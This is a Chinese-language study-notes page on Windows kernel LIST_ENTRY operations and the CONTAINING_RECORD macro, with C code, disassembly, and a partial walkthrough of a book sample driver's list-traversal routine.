<p><code>Entry->Blink = ListHead->Flink/Blink(Blink)</code></p>
<p>汇编代码</p>
<p><img alt="RDI" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/PImGMeYgJG.jpg"></p>
<p>x86:ebx是ListHead,eax是Entry</p>
<p>x64:rdi是ListHead,rax是Entry</p>
<p>移除节点的函数有三个</p>
<ul>
<li>RemoveHeadList</li>
<li>RemoveTailList</li>
<li>RemoveEntryList</li>
</ul>
<p>这几个函数在执行之前都会先执行一下<code>IsListEmpty</code>这个函数来<strong>判断当前链表的头结点的Flink是不是指向他自己</strong>,如果是,说明该链表只有一个头结点,也就相当于这个链表是空的</p>
<p><em>isListEmpty:</em></p>
<div class="highlight"><pre><span></span><code><span class="n">BOOLEAN</span><span class="w"> </span><span class="nf">IsListEmpty</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">ListHead</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">BOOLEAN</span><span class="p">)(</span><span class="n">ListHead</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">ListHead</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>汇编代码</p>
<p><img alt="image-20220803212455257" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/dtfLrnbXzD.jpg"></p>
<p>代码很好理解,esi和rbx是ListHead,<code>[esi]</code>和<code>[rbx]</code>是<code>ListHead->Flink</code></p>
<p><em>RemoveHeadList</em></p>
<div class="highlight"><pre><span></span><code><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="nf">RemoveHeadList</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">ListHead</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="w"> </span><span class="n">Entry</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Entry</span><span class="o">-></span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Flink</span><span class="o">-></span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>把头结点的Flink所指向的节点删除掉了,头结点的Flink转而指向<code>ListHead->Flink->Flink</code>,即要删除的节点的Flink所指向的节点</p>
<p>而<code>ListHead->Flink->Flink</code>的Blink转而指向ListHead</p>
<p>汇编代码</p>
<p><img alt="image-20220803212835769" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/jNOouXstDL.jpg"></p>
<p>esi和rbx是ListHead,eax和rax是要删除的节点,ecx和rcx是要删除的节点的Flink指向的节点</p>
<p><em>RemoveTailList</em></p>
<div class="highlight"><pre><span></span><code><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="nf">RemoveTailList</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">ListHead</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Blink</span><span class="p">;</span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="w"> </span><span class="n">Entry</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Blink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Entry</span><span class="o">-></span><span class="n">Blink</span><span class="p">;</span>
<span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Blink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Blink</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>不再赘述,和RemoveHeadList差不多</p>
<p><img alt="image-20220803213730785" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LBFOuRGbiP.jpg"></p>
<p><img alt="image-20220803213737231" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/sqdUJEgtLc.jpg"></p>
<p>edi和rdi是ListHead,ebx和rsi是Entry,eax和rax是要删除的节点Blink指向的节点</p>
<p><em>RemoveEntryList</em></p>
<p>x64下的汇编代码</p>
<div class="highlight"><pre><span></span><code><span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8aa8e</span><span class="w"> </span><span class="mi">488</span><span class="n">b07</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rdi</span><span class="o">]</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8aa91</span><span class="w"> </span><span class="mi">483</span><span class="n">bc7</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="n">rdi</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8aa94</span><span class="w"> </span><span class="mi">0</span><span class="n">f8599000000</span><span class="w"> </span><span class="n">jne</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">AlpcSectionDeleteProcedure</span><span class="o">+</span><span class="mh">0x113</span><span class="w"> </span><span class="p">(</span><span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab33</span><span class="p">)</span><span class="w"> </span><span class="n">Branch</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab33</span><span class="w"> </span><span class="mi">488</span><span class="n">b4f08</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rdi+8</span><span class="o">]</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab37</span><span class="w"> </span><span class="mi">48397808</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rax+8</span><span class="o">]</span><span class="p">,</span><span class="n">rdi</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab3b</span><span class="w"> </span><span class="mi">7522</span><span class="w"> </span><span class="n">jne</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">AlpcSectionDeleteProcedure</span><span class="o">+</span><span class="mh">0x13f</span><span class="w"> </span><span class="p">(</span><span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab5f</span><span class="p">)</span><span class="w"> </span><span class="n">Branch</span>
<span class="n">nt</span><span class="err">!</span><span class="n">AlpcSectionDeleteProcedure</span><span class="o">+</span><span class="mh">0x11d</span><span class="err">:</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab3d</span><span class="w"> </span><span class="mi">483939</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rcx</span><span class="o">]</span><span class="p">,</span><span class="n">rdi</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab40</span><span class="w"> </span><span class="mi">751</span><span class="n">d</span><span class="w"> </span><span class="n">jne</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">AlpcSectionDeleteProcedure</span><span class="o">+</span><span class="mh">0x13f</span><span class="w"> </span><span class="p">(</span><span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab5f</span><span class="p">)</span><span class="w"> </span><span class="n">Branch</span>
<span class="n">nt</span><span class="err">!</span><span class="n">AlpcSectionDeleteProcedure</span><span class="o">+</span><span class="mh">0x122</span><span class="err">:</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab42</span><span class="w"> </span><span class="mi">488901</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rcx</span><span class="o">]</span><span class="p">,</span><span class="n">rax</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab45</span><span class="w"> </span><span class="mi">48894808</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rax+8</span><span class="o">]</span><span class="p">,</span><span class="n">rcx</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab49</span><span class="w"> </span><span class="mi">48897</span><span class="n">f08</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rdi+8</span><span class="o">]</span><span class="p">,</span><span class="n">rdi</span>
<span class="n">fffff803</span><span class="err">`</span><span class="mi">85</span><span class="n">c8ab4d</span><span class="w"> </span><span class="mi">48893</span><span class="n">f</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rdi</span><span class="o">]</span><span class="p">,</span><span class="n">rdi</span>
</code></pre></div>
<p>这是链表删除节点之前的样子</p>
<p><img alt="image-20220806014007312" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/bRzZzWJgpB.jpg"></p>
<p>这是删除之后的样子</p>
<p><img alt="image-20220806013944016" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fNGgfciasf.jpg"></p>
<p>可以看到<em>RemoveEntryList</em>除了将要删除节点的前后节点的Flink和Blink进行更改之外,还将要删除节点的Flink和Blink都指向了自己从而使得要删除的节点和原始链表彻底失去联系</p>
<p>上面这些操作都是单纯的针对链表本身进行的操作,而我们最感兴趣的是存储数据的节点,ListEntry是嵌入在存储数据的结构体中的,我们需要通过ListEntry来去访问真正感兴趣的数据</p>
<p>通过下面这个宏可以达到目的</p>
<div class="highlight"><pre><span></span><code><span class="cp">#define CONTAINING_RECORD(address, type, field) ((type *)((PCHAR)(address) - (ULONG_PTR)(&((type*)0)->field)))</span>
</code></pre></div>
<p><strong>使用ListEntry的地址减去ListEntry成员在当前结构体中的偏移量,即可获取到当前结构体的地址</strong></p>
<p><a href="https://social.msdn.microsoft.com/Forums/officeocs/en-US/c5068503-2daf-4e60-803f-70a1ffd3ba72/what-is-macro-containingrecord-doing?forum=wdk">https://social.msdn.microsoft.com/Forums/officeocs/en-US/c5068503-2daf-4e60-803f-70a1ffd3ba72/what-is-macro-containingrecord-doing?forum=wdk</a></p>
<p>上面宏定义中的一些细节:</p>
<blockquote>
<p>ULONG_PTR用于将指针转换成长整型,PCHAR用于将地址单位转换成字节,而不是该地址的类型的size</p>
</blockquote>
<p>可以通过下面这段代码来理解</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">TEST</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">a</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">b</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">test</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">ptest</span><span class="p">;</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">test_test</span><span class="p">;</span>
<span class="w"> </span><span class="n">test_test</span><span class="p">.</span><span class="n">b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">520</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="o">*</span><span class="w"> </span><span class="n">addr_b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">test_test</span><span class="p">.</span><span class="n">b</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"base address of test_test: </span><span class="se">\t</span><span class="s">%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">test_test</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"address of addr_b: </span><span class="se">\t\t</span><span class="s">%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">addr_b</span><span class="p">);</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">ret1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ULONG_PTR</span><span class="p">(</span><span class="o">&</span><span class="p">((</span><span class="n">ptest</span><span class="p">)</span><span class="mi">0</span><span class="p">)</span><span class="o">-></span><span class="n">b</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"field </span><span class="se">\"</span><span class="s">b</span><span class="se">\"</span><span class="s"> offset in TEST: </span><span class="se">\t</span><span class="s">%u</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ret1</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"address with no PCHAR cast: </span><span class="se">\t</span><span class="s">%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">addr_b</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">ret1</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"address with PCHAR cast: </span><span class="se">\t</span><span class="s">%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">PCHAR</span><span class="p">)</span><span class="n">addr_b</span><span class="w"> </span><span class="o">-</span><span class="n">ret1</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p><img alt="image-20220804102157350" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ezFDVLMSYp.jpg"></p>
<p>可以看到在不转换为PCHAR的情况下,实际上减去的是<code>4*sizeof(int)</code>,而转换之后就是减去4</p>
<p>拿KDPC结构体举例</p>
<div class="highlight"><pre><span></span><code><span class="n">PKDEFERRED_ROUTINE</span><span class="w"> </span><span class="nf">ReadEntryDeferredRoutine</span><span class="w"> </span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">entry</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">PKDPC</span><span class="w"> </span><span class="n">p</span><span class="p">;</span>
<span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CONTAINING_RECORD</span><span class="p">(</span><span class="n">entry</span><span class="p">,</span><span class="w"> </span><span class="n">KDPC</span><span class="p">,</span><span class="w"> </span><span class="n">DpcListEntry</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">p</span><span class="o">-></span><span class="n">DeferredRoutine</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p><code>CONTAINING_RECORD</code>这个宏一般会在节点删除和节点遍历中用到</p>
<h3>walk-thorugh</h3>
<p>书中提到了一个驱动Sample C,可能是在随书光盘里的文件,但是我没找到这个,只能凑合看了</p>
<p>下面是这个驱动中的一个函数<code>sub_115DA</code>的代码片段</p>
<div class="highlight"><pre><span></span><code><span class="mi">01</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">000115</span><span class="n">FF</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword_1436C</span>
<span class="mi">02</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011604</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">edi</span><span class="p">,</span><span class="w"> </span><span class="nl">ds</span><span class="p">:</span><span class="n">wcsncpy</span>
<span class="mi">03</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001160</span><span class="n">A</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">ebx</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">eax</span><span class="o">]</span>
<span class="mi">04</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001160</span><span class="n">C</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">esi</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span>
<span class="mi">05</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001160</span><span class="n">E</span><span class="w"> </span><span class="nl">loop_begin</span><span class="p">:</span><span class="w"> </span>
<span class="mi">06</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001160</span><span class="n">E</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">esi+20h</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span>
<span class="mi">07</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011612</span><span class="w"> </span><span class="n">jz</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">failed</span>
<span class="mi">08</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011614</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">esi+28h</span><span class="o">]</span><span class="w"> </span>
<span class="mi">09</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011617</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="nl">ds</span><span class="p">:</span><span class="n">MmIsAddressValid</span>
<span class="mi">10</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001161</span><span class="n">D</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">al</span><span class="p">,</span><span class="w"> </span><span class="n">al</span>
<span class="mi">11</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001161</span><span class="n">F</span><span class="w"> </span><span class="n">jz</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">failed</span>
<span class="mi">12</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011621</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">esi+28h</span><span class="o">]</span>
<span class="mi">13</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011624</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
<span class="mi">14</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011626</span><span class="w"> </span><span class="n">jz</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">failed</span>
<span class="mi">15</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011628</span><span class="w"> </span><span class="n">movzx</span><span class="w"> </span><span class="n">ecx</span><span class="p">,</span><span class="w"> </span><span class="n">word</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">esi+24h</span><span class="o">]</span>
<span class="mi">16</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001162</span><span class="n">C</span><span class="w"> </span><span class="n">shr</span><span class="w"> </span><span class="n">ecx</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="mi">17</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001162</span><span class="n">E</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">size_t</span>
<span class="mi">18</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001162</span><span class="n">F</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span><span class="w"> </span><span class="o">*</span>
<span class="mi">19</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011630</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">ebp+var_208</span><span class="o">]</span>
<span class="mi">20</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011636</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span><span class="w"> </span><span class="o">*</span>
<span class="mi">21</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011637</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wcsncpy</span>
<span class="mi">22</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011639</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">ebp+var_208</span><span class="o">]</span>
<span class="mi">23</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001163</span><span class="n">F</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span><span class="w"> </span><span class="o">*</span>
<span class="mi">24</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011640</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="nl">ds</span><span class="p">:</span><span class="n">_wcslwr</span>
<span class="mi">25</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011646</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">ebp+var_208</span><span class="o">]</span>
<span class="mi">26</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001164</span><span class="n">C</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="n">aKrnl</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="ss">"krnl"</span>
<span class="mi">27</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011651</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span><span class="w"> </span><span class="o">*</span>
<span class="mi">28</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011652</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="nl">ds</span><span class="p">:</span><span class="n">wcsstr</span>
<span class="mi">29</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011658</span><span class="w"> </span><span class="k">add</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="w"> </span><span class="mi">18</span><span class="n">h</span>
<span class="mi">30</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001165</span><span class="n">B</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
<span class="mi">31</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001165</span><span class="n">D</span><span class="w"> </span><span class="n">jnz</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">matched_krnl</span>
<span class="mi">32</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001165</span><span class="n">F</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">esi</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="mi">33</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011661</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">esi</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span>
<span class="mi">34</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011663</span><span class="w"> </span><span class="n">jz</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">loop_end</span>
<span class="mi">35</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011665</span><span class="w"> </span><span class="n">jmp</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">loop_begin</span>
<span class="mi">36</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011667</span><span class="w"> </span><span class="nl">matched_krnl</span><span class="p">:</span><span class="w"> </span>
<span class="mi">37</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011667</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">ebp+var_208</span><span class="o">]</span>
<span class="mi">38</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001166</span><span class="n">D</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="s1">'\'</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span>
<span class="mi">39</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001166</span><span class="n">F</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span><span class="w"> </span><span class="o">*</span>
<span class="mi">40</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011670</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="nl">ds</span><span class="p">:</span><span class="n">wcsrchr</span>
<span class="mi">41</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011676</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">ecx</span>
<span class="mi">42</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011677</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
</code></pre></div>
<p>代码中的前四行访问了一个指针<code>dword_1436C</code>,并将其指向的内容保存到了ebx和esi中</p>
<p>然后在循环体中,有三处引用了esi</p>
<ul>
<li><code>[esi+20h]</code></li>
<li><code>[esi+28h]</code></li>
<li><code>[esi+24h]</code></li>
</ul>
<p>据此可以推测出esi是一个长度至少为2ch的结构体</p>
